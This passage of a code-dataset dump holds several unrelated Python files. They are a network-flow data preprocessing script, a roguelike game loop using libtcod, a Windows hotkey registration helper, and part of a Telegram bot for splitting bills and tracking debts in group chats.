cls_steps[y_old[i]] == 0 and cntr_steps[y_old[i]] < cls_counts[y_old[i]]:\n y_new[i_new] = y_old[i]\n x_new[i_new] = x_old[i]\n\n i_new += 1\n\n cntr_steps[y_old[i]] += 1\n\n logging.info(\"Dataset is completed.\")\n\n return new_size\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(format=\"%(levelname)s %(name)s: %(message)s\", level=logging.INFO)\n\n # removing headers in middle of file (preparation for data analysis)\n # split_files_with_more_headers(PATH_TO_DATA, ORIGINAL_FILES_WITH_SAME_HEADER[0])\n # transformer = Transformer()\\\n # .add_drop(\"Flow ID\")\\\n # .add_drop(\"Src IP\")\\\n # .add_drop(\"Src Port\")\\\n # .add_drop(\"Dst IP\")\n # transformer.run(PATH_TO_DATA, ORIGINAL_FILES_WITH_SAME_HEADER[1], \"../\")\n # system(\"mv ../\" + ORIGINAL_FILES_WITH_SAME_HEADER[1][0] + \" \" + PATH_TO_DATA + sep + ORIGINAL_FILES_WITH_SAME_HEADER[1][0].replace(\".csv\", \"_dropped.csv\"))\n # split_files_with_more_headers(PATH_TO_DATA, [ORIGINAL_FILES_WITH_SAME_HEADER[1][0].replace(\".csv\", \"_dropped.csv\")])\n\n\n # datetime is converted to timestamp\n # NaN value is replaced by most common value in a column\n # Infinity value is replaced by maximum value in a column\n # columns, that have only one distinct value, are dropped\n # transformer = Transformer()\\\n # .add_transformation(\"Timestamp\", lambda s: str(datetime.strptime(s, \"%d/%m/%Y %H:%M:%S\").timestamp()))\\\n # .add_replacement(\"Flow Byts/s\", \"NaN\", \"0\")\\\n # .add_replacement(\"Flow Byts/s\", \"Infinity\", \"1806642857.14286\")\\\n # .add_replacement(\"Flow Pkts/s\", \"NaN\", \"1000000\")\\\n # .add_replacement(\"Flow Pkts/s\", \"Infinity\", \"6000000.0\")\\\n # .set_drop([\"Bwd Blk Rate Avg\", \"Bwd Byts/b Avg\", \"Bwd PSH Flags\", \"Bwd Pkts/b Avg\", \"Bwd URG Flags\",\n # \"Fwd Blk Rate Avg\", \"Fwd Byts/b Avg\", \"Fwd Pkts/b Avg\"])\n #\n # transformer.run(PATH_TO_DATA, SPLIT_FILES, PATH_TO_CLN_DATA)\n\n # check_time(PATH_TO_CLN_DATA, SPLIT_FILES)\n\n # dropping Timestamp and spit to full train and test\n # transformer = Transformer().set_drop([\"Timestamp\"])\n # split_train_test(PATH_TO_CLN_DATA, SPLIT_FILES, PATH_TO_PRPD_DATA, transformer)\n\n # normalizing data by subtracting mean and dividing by std\n # normalizer = load_normalizer()\n # normalizer.run(PATH_TO_PRPD_DATA, [FULL_TRAIN, TEST], PATH_TO_NORM_DATA)\n\n # normalizing data by log\n # normalizer = load_log_normalizer()\n # normalizer.run(PATH_TO_PRPD_DATA, [FULL_TRAIN, TEST], PATH_TO_LOG_NORM_DATA)\n\n # split to train and validation\n # split_train_test(PATH_TO_NORM_DATA, [FULL_TRAIN], PATH_TO_NORM_DATA, val=True)\n # split_train_test(PATH_TO_LOG_NORM_DATA, [FULL_TRAIN], PATH_TO_LOG_NORM_DATA, val=True)\n\n # converting normalized data to numpy array (memmap)\n # convert_to_npy(PATH_TO_NORM_DATA, \"train\", PATH_TO_NORM_DATA + sep + \"train\")\n # convert_to_npy(PATH_TO_NORM_DATA, \"full_train\", PATH_TO_NORM_DATA + sep + \"full_train\")\n # convert_to_npy(PATH_TO_NORM_DATA, \"test\", PATH_TO_NORM_DATA + sep + \"test\")\n # convert_to_npy(PATH_TO_NORM_DATA, \"validation\", PATH_TO_NORM_DATA + sep + \"validation\")\n # convert_to_npy(PATH_TO_NORM_DATA, \"train\", PATH_TO_NORM_DATA, 600000) # for visualization -> size 2798546\n # create_labels_for_each_class_separately(PATH_TO_NORM_DATA, \"train\", TRAIN_SIZE)\n # create_labels_for_each_class_separately(PATH_TO_NORM_DATA, \"full_train\", FULL_TRAIN_SIZE)\n # create_labels_for_each_class_separately(PATH_TO_NORM_DATA, \"validation\", VALIDATION_SIZE)\n # create_labels_for_each_class_separately(PATH_TO_NORM_DATA, \"test\", TEST_SIZE)\n # convert_to_npy(PATH_TO_NORM_DATA, \"train\", PATH_TO_NORM_DATA + sep + \"small_train\", 1000000) # for training SVM\n # create_labels_for_each_class_separately(PATH_TO_NORM_DATA, \"small_train\", SMALL_TRAIN_SIZE) # for training SVM\n # size = select_samples(PATH_TO_NORM_DATA, \"small_train\", 0.3, SMALL_TRAIN_SIZE, number_of_negatives=1000000) # for training SVM\n # create_labels_for_each_class_separately(PATH_TO_NORM_DATA, \"small_train\", size) # for training SVM\n\n # converting log normalized data to numpy array (memmap)\n # convert_to_npy(PATH_TO_LOG_NORM_DATA, \"train\", PATH_TO_LOG_NORM_DATA + sep + \"train\")\n # convert_to_npy(PATH_TO_LOG_NORM_DATA, \"full_train\", PATH_TO_LOG_NORM_DATA + sep + \"full_train\")\n # convert_to_npy(PATH_TO_LOG_NORM_DATA, \"test\", PATH_TO_LOG_NORM_DATA + sep + \"test\")\n # convert_to_npy(PATH_TO_LOG_NORM_DATA, \"validation\", PATH_TO_LOG_NORM_DATA + sep + \"validation\")\n # create_labels_for_each_class_separately(PATH_TO_LOG_NORM_DATA, \"train\", TRAIN_SIZE)\n # create_labels_for_each_class_separately(PATH_TO_LOG_NORM_DATA, \"full_train\", FULL_TRAIN_SIZE)\n # create_labels_for_each_class_separately(PATH_TO_LOG_NORM_DATA, \"validation\", VALIDATION_SIZE)\n # create_labels_for_each_class_separately(PATH_TO_LOG_NORM_DATA, \"test\", TEST_SIZE)\n","sub_path":"data_transformation.py","file_name":"data_transformation.py","file_ext":"py","file_size_in_byte":28482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"456614298","text":"tmp1 = {\"k1\": \"\",\n \"k2\": \"\",\n \"k3\": \"\"\n }\n\nstring_word = \"8x6.7x2.5\"\nsplit_word = string_word.split(\"x\")\ntruck_key = (\"body_length\", \"body_width\", \"body_height\")\n# truck_dict = dict(zip(truck_key, split_word))\ntmp1[\"k1\"]=split_word[0]\ntmp1[\"k2\"]=split_word[1]\ntmp1[\"k3\"]=split_word[2]\nprint(tmp1)\n# print(\"body_height is {}\".format(truck_dict.get('body_height')))\n\n\ndef __init__(self, start, end):\n self.current = start\n self.end = end\n\n\ndef __iter__(self):\n return self\n\n\ndef __next__(self):\n if self.current >= self.end:\n raise StopIteration\n\n result = self.current ** 2\n self.current += 1\n return result","sub_path":"week_4/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"415315711","text":"# X FIRST, Y SECOND!!!\n\n###########\n# Convention is to use underscores for variables instead of camel case in Python, however i'm not gonna \n# touch it in case they are standard functions from libtcod\n# Note to Self: end of fuctions and control-flow constructs is determined by indentation, not curly braces!\n#\n# Python is not object oriented like Java! define functions before you call them, even when using classes \n# and/or inheritance!\n###########\nimport libtcodpy as libtcod # Can the name be arbitrary?\n\nSCREEN_WIDTH=80\nSCREEN_HEIGHT=50\n#MAX_FPS=20\n\nclass Object:\n def __init__(self, x, y, char, color): # This is basically a constructor # there's two underscores!\n self.x=x\n self.y=y\n self.char=char\n self.color=color\n\n def move (self, distance_x, distance_y):\n self.x += distance_x\n self.y += distance_y\n\n def draw(self):\n libtcod.console_set_default_foreground(con, self.color)\n libtcod.console_put_char(con, self.x, self.y, self.char, libtcod.BKGND_NONE)\n\n def clear(self):\n libtcod.console_put_char(con, self.x, self.y, ' ', libtcod.BKGND_NONE)\n\n# Function (Java's \"method\") to define wich key correspond to what action. Does it modify the player_*pos outside the function aswell? is it limited in scope?\ndef handle_keys():\n key = libtcod.console_wait_for_keypress(True) \n if key.vk == libtcod.KEY_ESCAPE:\n return True\n\n if libtcod.console_is_key_pressed(libtcod.KEY_UP):\n player.move(0, -1)\n elif libtcod.console_is_key_pressed(libtcod.KEY_DOWN):\n player.move(0, 1)\n elif libtcod.console_is_key_pressed(libtcod.KEY_LEFT):\n player.move(-1, 0)\n elif libtcod.console_is_key_pressed(libtcod.KEY_RIGHT):\n player.move(1, 0) \n\n\n# SCREEN INIT\nlibtcod.console_set_custom_font('arial10x10.png', libtcod.FONT_TYPE_GREYSCALE | libtcod.FONT_LAYOUT_TCOD)\nlibtcod.console_init_root(SCREEN_WIDTH, SCREEN_HEIGHT, 'Test', False) # the 'root' console will be number 0 (stdout). 3rd parameters is window title, 4th is fullscreen bool\ncon=libtcod.console_new(SCREEN_WIDTH, SCREEN_HEIGHT) # secondary console\n# Setting up player and npc\nplayer=Object(SCREEN_WIDTH/2, SCREEN_HEIGHT/2, '@', libtcod.white)\nnpc=Object(SCREEN_WIDTH/2-5, SCREEN_HEIGHT/2, '@', libtcod.yellow)\nobjects=[npc, player] \n\n#MAIN LOOP: setup console, place @ and wait for presses. The second console_put_char applies to the previous coordinates, to avoid having a trail of @.\nwhile not libtcod.console_is_window_closed():\n libtcod.console_set_default_foreground(0, libtcod.white) # the 0 parameter should be output device, aka stdout\n for object in objects:\n \tobject.draw()\n\n libtcod.console_blit(con, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT, 0, 0, 0)\n libtcod.console_flush() #look this up\n \n for object in objects:\n \tobject.clear()\n \n exit=handle_keys()\n if exit:\n break\n\n#####\n# I don't understand why exit=handle_keys() is after the flush() function, and also what's up with the way we call the handle_keys() function\n#####\n\n\n\n#MAIN LOOP: setup console, place @ and wait for presses. The second console_put_char applies to the previous coordinates, to avoid having a trail of @.\n# while not libtcod.console_is_window_closed():\n# libtcod.console_set_default_foreground(0, libtcod.white) # the 0 parameter should be output device, aka stdout\n# libtcod.console_put_char(con, player_xpos, player_ypos, '@', libtcod.BKGND_NONE) # X FIRST, Y SECOND!\n# libtcod.console_blit(con, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT, 0, 0, 0)\n# libtcod.console_flush() #look this up\n# libtcod.console_put_char(con, player_xpos, player_ypos, ' ', libtcod.BKGND_NONE)\n# exit=handle_keys()\n# if exit:\n# break\n","sub_path":"OLD/roguelike.py","file_name":"roguelike.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"24019129","text":"# ===========================================\n# @Time : 2019/3/27 14:10\n# @Author : antony\n# @Email : 502202879@qq.com\n# @File : win32kb_auto.py\n# @Software: PyCharm\n# ===========================================\nimport win32api\nimport win32con\nimport win32clipboard as w3c\nimport ctypes\nimport threading\n\n\ndef set_clipboard(astring): # 写入剪切板 目前这方法有bug\n w3c.OpenClipboard()\n w3c.EmptyClipboard()\n w3c.SetClipboardData(win32con.CF_TEXT, astring)\n w3c.CloseClipboard()\n\n\nclass Hotkey:\n\n def __init__(self):\n self.stop_flag = False # 置为True时终止热键进程\n self.keys ={\n 10: win32con.VK_F10,\n 98: (win32con.VK_F10, win32con.MOD_CONTROL),\n 99: (win32con.VK_F10, win32con.MOD_CONTROL, win32con.MOD_ALT)}\n self.callbacks = {\n 10: self.print_test,\n 98: self.print_test,\n 99: self.print_test}\n self.args = {\n 10: (),\n 98: ('token to run out ~',),\n 99: ('token to run out ~', '额外信息测试 id:99')} # 一般默认的传参都是 () 特定传参需要注册\n\n def add(self, des_list):\n # des_list = [10, (win32con.VK_F10, win32con.MOD_CONTROL), hotkey_print_test, *()]\n # 4个元素 分别是 id 热键 回调函数 和 回调函数的参数\n if des_list[0] in self.keys:\n print(f'key_id: {des_list[0]} is already used')\n return -1\n else:\n id, key, callback, *args = des_list\n self.keys.update({id: key})\n self.callbacks.update({id: callback})\n self.args.update({id: args if args else ()})\n\n def __iter__(self):\n return iter([(i, self.keys[i], self.callbacks[i], self.args[i]) for i in self.keys])\n\n def print_test(self, x='this is a hotkey run test~', *args):\n print(x, *args)\n if x == 'token to run out ~':\n self.stop_flag = True\n print(' >> 热键监控到此为止~!!')\n\n\nclass HotkeyThread(threading.Thread): # 创建一个Thread.threading的扩展类\n user32 = ctypes.windll.user32 # 加载user32.dll\n\n def __init__(self, hotkey_configs):\n super(HotkeyThread, self).__init__()\n self.useable = True\n if type(hotkey_configs) is not Hotkey:\n print('hotkey_configs type error')\n self.useable = False\n self.hotkey_configs = hotkey_configs\n\n def run(self):\n if not self.useable:\n return -1\n for id, key, callback, args in self.hotkey_configs:\n if type(key) is not int and len(key) > 1:\n mod, vk = eval('|'.join([str(x) for x in key[1:]])), key[0] # 辅助按键的特殊处理例子\n else:\n mod, vk = 0, key\n # 注册快捷键mod是辅助按键,vk是像F10这样的按键\n if not self.user32.RegisterHotKey(None, id, mod, vk):\n print(\"Unable to register id\", id) # 返回一个错误信息\n else:\n print(f'成功注册热键:mod({mod}) vk({vk})')\n try:\n # 以下为检测热键是否被按下,并在最后释放快捷键\n msg = ctypes.wintypes.MSG()\n while True and not self.hotkey_configs.stop_flag:\n if self.user32.GetMessageA(ctypes.byref(msg), None, 0, 0) != 0:\n if msg.message == win32con.WM_HOTKEY:\n # print(msg.message, msg.wParam)\n if msg.wParam in self.hotkey_configs.keys:\n func = self.hotkey_configs.callbacks[msg.wParam]\n args = self.hotkey_configs.args[msg.wParam]\n if args:\n res = func(*args)\n else:\n res = func()\n self.user32.TranslateMessage(ctypes.byref(msg))\n self.user32.DispatchMessageA(ctypes.byref(msg))\n finally:\n # 必须得释放热键,否则下次就会注册失败,所以当程序异常退出,没有释放热键,\n # 那么下次很可能就没办法注册成功了,这时可以换一个热键测试\n for id, key, callback, args in self.hotkey_configs:\n self.user32.UnregisterHotKey(None, id)\n\n\nif __name__ == '__main__':\n # 一个通过热键触发自动root登录(通过pyautogui)的实例\n hot = Hotkey()\n # 增加自己真正需要配置的热键\n from win32kb_auto import typing_root, dobjsylogin\n # 68 对应D键\n hot.add([11, (67, win32con.MOD_CONTROL, win32con.MOD_ALT), dobjsylogin, ()]) #\n hot.add([12, (68, win32con.MOD_CONTROL, win32con.MOD_ALT), typing_root, ()]) #\n p = HotkeyThread(hot)\n p.start()\n","sub_path":"exam/win32keys_comp.py","file_name":"win32keys_comp.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"255213661","text":"import logging\n# from datetime import *\nfrom datetime import datetime, timedelta\nimport time\nimport os\nimport sys\nfrom tokenize import Token\nimport pytz\nimport re\nimport requests\n\nfrom HELPME.bot_sql_integration import *\nfrom HELPME.helperFunctions import *\n\nfrom uuid import uuid4, uuid1\nfrom telegram.utils.helpers import escape_markdown\nfrom telegram.ext import InlineQueryHandler, Updater, CommandHandler, CallbackQueryHandler, CallbackContext, Filters, MessageHandler, ConversationHandler\nfrom telegram import Bot, InlineQueryResultArticle, ParseMode, InputTextMessageContent, InlineKeyboardButton, InlineKeyboardMarkup, Update, message, replymarkup\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\ntz = pytz.timezone('Asia/Singapore')\nnow = datetime.now(tz).replace(microsecond=0) # the current time in your local timezone\n\nlogger = logging.getLogger(__name__)\nTOKEN = os.environ[\"API_TOKEN\"]\nPORT = int(os.environ.get('PORT', '8443'))\nBOT_ID = os.environ['BOT_ID']\n\ndef startGroup(update, context):\n \"\"\"Send the welcome message when the command /start is issued in a group.\"\"\"\n # The registration keyboard used to register groups into our Group Database.\n keyboard = [\n [\n InlineKeyboardButton(\"Register\", callback_data='groupRegister'),\n ],\n [\n InlineKeyboardButton(\"Don't Register\", callback_data='groupDontRegister')\n ],\n ]\n\n ## This section is to send a logo before the registration process!\n # context.bot.send_photo(\n # chat_id=update.effective_chat.id,\n # photo='https://res.cloudinary.com/jianoway/image/upload/v1621939877/O%24P%24_Logo.png',\n # )\n\n # Sets up the InlineKeyboardMarkup as the reply_markup to be used in the message.\n reply_markup = InlineKeyboardMarkup(keyboard)\n\n # Sends the welcome message for the group.\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\n \"Hello this is O$P$, your personal Telegram loan chaser and debt tracker!\\n\\n\" +\n \"We aim to make the process of tracking which of your 'friends' still owe you \" +\n \"and reminding them as impersonal as possible so you won't feel the paiseh!\"\n \"Along with that, you can now also notify people who you've returned money to\" +\n \"with a simple click of a button.\\n\\n\" +\n \"Simply register your group with us by pressing the button below!\",\n reply_markup=reply_markup,\n )\n return message\n\ndef startPrivate(update, context):\n \"\"\"Send the welcome message when the command /start is issued via PM\"\"\"\n chat_id = update.message.chat_id\n username = update.message.chat.username\n firstname = update.message.chat.first_name\n user = (chat_id, username, 1, firstname)\n\n keyboard = [\n [\n InlineKeyboardButton(\"Register\", callback_data='userRegister'),\n ],\n [\n InlineKeyboardButton(\"Don't Register\", callback_data='userDontRegister')\n ],\n ]\n # Sets up the InlineKeyboardMarkup as the reply_markup to be used in the message.\n reply_markup = InlineKeyboardMarkup(keyboard)\n\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\n \"Hi! Thank you for choosing O$P$, your one stop debt chaser!\\n\\n\" +\n \"Simply register with us by clicking pressing the button below!\",\n reply_markup=reply_markup,\n )\n return message\n\ndef scanReceiptPrivateMessage(update, context):\n \"\"\"Prompt the user to send their receipt.\"\"\"\n chat_id = update.effective_chat.id\n context.bot.send_message(\n chat_id=chat_id,\n text=\n \"Please send in the receipt to be scanned! Alternatively, to cancel please type /cancelreceipt\"\n )\n return \"waitingonpicprivate\"\n\ndef scanReceiptPrivatePicture(update, context):\n \"\"\"Parses the image if possible, otherwise will prompt user to send a valid image.\"\"\"\n photos = update.message.photo\n length = len(photos)\n if length == 0:\n context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\n \"Please send in the receipt to be scanned! Alternatively, to cancel please type /cancelreceipt\"\n )\n return \"waitingonpicprivate\"\n else:\n photo = photos[length - 1]\n fileID = photo.file_id\n filePathURL = \"https://api.telegram.org/bot%s/getfile?file_id=%s\" % (TOKEN, fileID)\n filePath = requests.get(filePathURL).json()[\"result\"][\"file_path\"]\n fileURL = \"https://api.telegram.org/file/bot%s/%s\" % (TOKEN, filePath)\n text = receiptParser(fileURL)\n context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=text\n )\n return ConversationHandler.END\n\ndef cancelReceipt(update, context):\n \"\"\"Cancels the receipt scanning procedure.\"\"\"\n context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\n \"Your receipt scan has been cancelled!\"\n )\n print('ok')\n return ConversationHandler.END\n\n\ndef getDebtors(update, context):\n \"\"\"Sends the user the message in response to the /whoowesme command.\"\"\"\n userID = update.effective_chat.id\n if not isNotifiable(userID):\n message = context.bot.send_message(\n chat_id=userID,\n text=\n \"Please register with us first by using /start!\"\n )\n return message\n \n \n unsettledTransactions = getUnsettledTransactionsForCreditor(userID)\n keyboardMarkup = formatTransactionsForCreditorKeyboardMarkup(unsettledTransactions)\n\n if len(unsettledTransactions) < 1:\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text='No one owes you money! What great friends you have!!!'\n )\n return message\n\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text='The baddies who have your cash money! >:(',\n reply_markup=keyboardMarkup\n )\n return message\n\ndef getCreditors(update, context):\n \"\"\"Sends the user the message in response to the /whomeowes command.\"\"\"\n userID = update.effective_chat.id\n if not isNotifiable(userID):\n message = context.bot.send_message(\n chat_id=userID,\n text=\n \"Please register with us first by using /start!\"\n )\n return message\n \n unsettledTransactions = getUnsettledTransactionsForDebtor(userID)\n keyboardMarkup = formatTransactionsForDebtorKeyboardMarkup(unsettledTransactions)\n\n if len(unsettledTransactions) < 1:\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\"Wow! Amazing! You don't owe anyone any money!\"\n )\n return message\n message = context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\"The kind people who you've taken from:\",\n reply_markup=keyboardMarkup\n )\n return message\n \ndef cancel(update, context):\n \"\"\"Cancels any ongoing operation for the user in a group.\"\"\"\n groupID = update.effective_chat.id\n userID = update.message.from_user.id\n messageID = update.message.message_id\n setUserStateInactive(userID, groupID)\n resetUserTempAmount(userID, groupID)\n resetUserTempOrderID(userID, groupID)\n resetUserTempMessageID(userID, groupID)\n context.bot.send_message(\n chat_id=groupID,\n reply_to_message_id=messageID,\n text=\"I've been cancelled!\"\n )\n\ndef help(update, context):\n \"\"\"Sends the user the help message.\"\"\"\n return context.bot.send_message(\n chat_id=update.effective_chat.id,\n text=\n \"List of commands:\\n\\n\" +\n \"/start Initialise and register with us.\\n\" +\n \"/help For the confused souls.\\n\" +\n \"/whoowesme To see your debtors (only in private message).\\n\" +\n \"/whomeowes To see your creditors (only in private message).\\n\"+\n \"/cancel To cancel any creation of order.\\n\"\n \"\\nAfter running /start and registering in the group you wish to split bills in, you can start splitting your bills by simply typing @OwePay_bot followed by name of the order.\" +\n \"\\n\\nDue to the nature of Telegram Bots, our bot will only be able to detect users if they have either sent a message in the group after I've been added or users added after me!\" \n )\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\ndef inline(update, context):\n \"\"\"Handles the Inline Queries sent by the user.\"\"\"\n query = update.inline_query.query\n if query == \"\":\n return\n results = inlineQueryHelper(update)\n update.inline_query.answer(results)\n\ndef button(update, context):\n \"\"\"Handles the button presses for Inline Keyboard Callbacks\"\"\"\n query = update.callback_query\n choice = query.data\n username = query.message.chat.username\n\n if username == None or not 'test,bot' in username: # this is safe because ',' is an invalid character for telegram usernames\n query.answer()\n \n if choice == 'groupRegister':\n groupRegister(update, context)\n return query\n\n if choice == 'groupDontRegister':\n groupDontRegister(update, context)\n return query\n\n if choice == 'userRegister':\n userRegister(update, context)\n return query\n\n if choice == 'userDontRegister':\n userDontRegister(update, context)\n return query\n\n if choice == 'debtorEvenlyPaid':\n debtorEvenlyPaid(update, context)\n return query\n\n if choice == 'debtorEvenlyUnpaid':\n debtorEvenlyUnpaid(update, context)\n return query\n\n if choice == 'SplitEvenlyFinalise':\n splitEvenly(update, context)\n return query\n\n if 'splitevenlycallbackdata' in choice:\n user = choice.replace('splitevenlycallbackdata', '', 1)\n if userAlreadyAdded(user): #split some\n editMessageForSplitEvenly(update, context)\n return query\n \n if 'settledebtforcreditor' in choice:\n settleDebtForCreditor(update, context)\n\n if 'settledebtfordebtor' in choice:\n settleDebtForDebtor(update, context)\n \n if 'notifydebtorcallbackdata' in choice:\n notifyUserFromPrivateMessage(update, context)\n \n if 'splitunevenlycallbackdata' in choice:\n editUnevenlyMessageIndividual(update, context)\n\n if choice == 'splitevenlyaddeveryonecallbackdata':\n editSplitEvenlyAddEveryone(update, context)\n\n if choice == 'splitunevenlyaddeveryonecallbackdata':\n editSplitUnevenlyAddEveryone(update, context)\n\n\n if choice == 'splitunevenlynextitem':\n splitUnevenlyNextItem(update, context)\n \n if choice == 'goodservicetax':\n splitGST(update, context)\n \n if choice == 'servicechargecallbackdata':\n splitSVC(update, context)\n \n if choice == 'splitunevenlyfinalise':\n splitUnevenlyFinalise(update, context)\n \n if choice == 'debtorUnevenlyPaid':\n debtorUnevenlyPaid(update, context)\n\n if choice == 'debtorUnevenlyUnpaid':\n debtorUnevenlyUnpaid(update, context)\n\n if choice == 'newordersplitevenly':\n newOrderSplitEvenly(update, context)\n\n if choice == 'newordersplitunevenly':\n newOrderSplitUnevenly(update, context)\n\ndef newOrderSplitUnevenly(update, context):\n \"\"\"Prompts the user to send in the list of items to be added to the order.\"\"\"\n query = update.callback_query\n groupID = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n\n if not userStateNewOrder(userID, groupID) and userIsMessageCreator(userID, groupID, message_id):\n return\n \n order = catchSplitUnevenlyOrder(userID, groupID)\n orderID = order.orderID\n updateOrderIDToUserGroupRelational(userID, groupID, orderID)\n setOrderDifferentAmountsFromOrderID(orderID)\n message = context.bot.editMessageText(\n chat_id=groupID,\n message_id=message_id,\n text='Please send in the items in the following format:\\nItem Name - Price\\n\\nFor example:\\nChicken Rice - 5\\nCurry Chicken - 5.50\\nNasi Lemak - 4'\n )\n updateUserStateSplitUnevenly(userID, groupID)\n return message\n\n\ndef newOrderSplitEvenly(update, context):\n \"\"\"Prompts the user to send in the amount to be split in the order.\"\"\"\n query = update.callback_query\n groupID = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n\n if not userStateNewOrder(userID, groupID) and userIsMessageCreator(userID, groupID, message_id):\n return\n \n message = context.bot.editMessageText(\n chat_id=groupID,\n message_id=message_id,\n text='Please send in the amount to split!'\n )\n updateUserStateSplitEvenly(userID, groupID)\n return message\n \n\n \n \ndef debtorUnevenlyPaid(update, context):\n \"\"\"\"\"\"\n query = update.callback_query\n groupID = query.message.chat_id\n message_id = query.message.message_id\n debtorID = query.from_user.id\n debtorUsername = getUsername(debtorID)\n text = query.message.text\n orderID = frOrderIDFromMessageAndGroupID(message_id, groupID)\n creditorID = getCreditorIDFromMessageAndGroupID(message_id, groupID)\n\n if str(creditorID) == str(debtorID):\n return\n\n transactionID = getTransactionIDFromOrderIDCreditorIDDebtorID(orderID, creditorID, debtorID)\n amountOwed = getAmountOwedFromTransactionID(transactionID)\n\n textList = text.split('\\n')\n edited = False\n newTextList = []\n for item in textList:\n if not '(@' + debtorUsername + ')' in item:\n newTextList.append(item + '\\n')\n else:\n edited = True\n markTransactionAsSettled(creditorID, debtorID, orderID)\n newText = ''.join(newTextList)\n if edited:\n context.bot.editMessageText(\n chat_id=groupID,\n message_id=message_id,\n text=newText,\n reply_markup=splitUnevenlyFinalisedKeyboardMarkup()\n )\n\ndef debtorUnevenlyUnpaid(update, context):\n query = update.callback_query\n groupID = query.message.chat_id\n message_id = query.message.message_id\n debtorID = query.from_user.id\n debtorUsername = getUsername(debtorID)\n text = query.message.text\n orderID = getOrderIDFromMessageAndGroupID(message_id, groupID)\n creditorID = getCreditorIDFromMessageAndGroupID(message_id, groupID)\n\n if str(creditorID) == str(debtorID):\n return\n\n transactionID = getTransactionIDFromOrderIDCreditorIDDebtorID(orderID, creditorID, debtorID)\n amountOwed = getAmountOwedFromTransactionID(transactionID)\n\n textList = text.split('\\n')\n alreadyInside = False\n newTextList = []\n for item in textList:\n if '(@' + debtorUsername + ')' in item:\n newTextList.append(item + '\\n')\n alreadyInside = True\n else:\n newTextList.append(item + '\\n')\n\n if not alreadyInside:\n debtorName = getFirstName(debtorID)\n stringToAdd = '%s (@%s) - $%s\\n' %(debtorName, debtorUsername, amountOwed)\n newTextList.append(stringToAdd)\n newText = ''.join(newTextList)\n context.bot.editMessageText(\n chat_id=groupID,\n message_id=message_id,\n text=newText,\n reply_markup=splitUnevenlyFinalisedKeyboardMarkup()\n )\n \n\ndef splitUnevenlyFinalise(update, context):\n query = update.callback_query\n groupID = query.message.chat_id\n message_id = query.message.message_id\n userID = query.from_user.id\n text = query.message.text\n date = datetime.now(tz).replace(microsecond=0)\n\n if not (userIsCreditorForMessage(message_id, groupID, userID)):\n return\n \n orderID = getOrderIDFromUserIDAndGroupID(userID, groupID)\n creditorUsername = getUsername(userID)\n textList = text.split('\\n')\n userList = []\n debtList = []\n for item in textList:\n if '-' in item:\n if '(@' + creditorUsername + ')' in item: \n continue\n debtList.append(item)\n noBrackets = item.replace('(', '`')\n noBracketsList = noBrackets.split('`')\n for noBrack in noBracketsList:\n user = ''\n if '@' in noBrack:\n user = noBrack\n \n if user != '':\n user = user.split(') - $')\n userList.append(user)\n\n for user in userList:\n username = user[0]\n debtorID = getUserIDFromUsername(username.replace('@', '', 1))\n if username.replace('@', '', 1) == creditorUsername:\n continue\n amountOwed = user[1]\n transactionID = str(uuid1())\n addTransaction((transactionID, orderID, amountOwed, userID, debtorID, date))\n \n newDebtorList = []\n for debtor in debtList:\n newDebtorList.append(debtor + '\\n')\n debtorString = ''.join(newDebtorList)\n orderName = getOrderNameFromOrderID(orderID)\n messageText = \"Please return %s their cash money for %s!\\n\\n%s\" % ('@' + creditorUsername, orderName, debtorString)\n orderMessage = context.bot.editMessageText(\n chat_id=groupID,\n message_id=message_id,\n text=messageText,\n reply_markup=splitUnevenlyFinalisedKeyboardMarkup()\n )\n resetUserTempOrderID(userID, groupID)\n resetUserTempMessageID(userID, groupID)\n\n \ndef splitGST(update, context):\n query = update.callback_query\n userID = query.from_user.id\n chat_id = query.message.chat_id\n message_id = query.message.message_id\n text = query.message.text\n textList = text.split('\\n')\n newTextList = []\n if 'w/ GST' in text:\n for itemWithoutPara in textList:\n newItem = itemWithoutPara\n if 'People paying for ' in itemWithoutPara:\n if 'and SVC' in itemWithoutPara:\n newItem = itemWithoutPara.replace('w/ GST and ', 'w/ ', 1)\n else:\n newItem = itemWithoutPara.replace(' w/ GST:', ':', 1)\n tempSplitList = itemWithoutPara.split('-')\n tempSplitItem = tempSplitList[len(tempSplitList) - 1]\n if len(tempSplitList) > 0 and tempSplitList[0] != '':\n currentAmount = re.sub(r\"[^\\d.]+\", \"\", str(tempSplitItem))\n if (isValidAmount(currentAmount)):\n newAmount = getFormattedAmountFromString(float(currentAmount) / 1.07)\n newItem = newItem.replace('$%s' % str(currentAmount), '$%s' % newAmount, 1)\n newTextList.append(newItem + '\\n')\n else:\n for itemWithoutPara in textList:\n newItem = itemWithoutPara\n if 'People paying for ' in itemWithoutPara:\n if 'w/ SVC' in itemWithoutPara:\n newItem = itemWithoutPara.replace('w/ ', 'w/ GST and ', 1)\n else:\n newItem = itemWithoutPara.replace(':', ' w/ GST:', 1)\n tempSplitList = itemWithoutPara.split('-')\n tempSplitItem = tempSplitList[len(tempSplitList) - 1]\n if len(tempSplitList) > 0 and tempSplitList[0] != '':\n 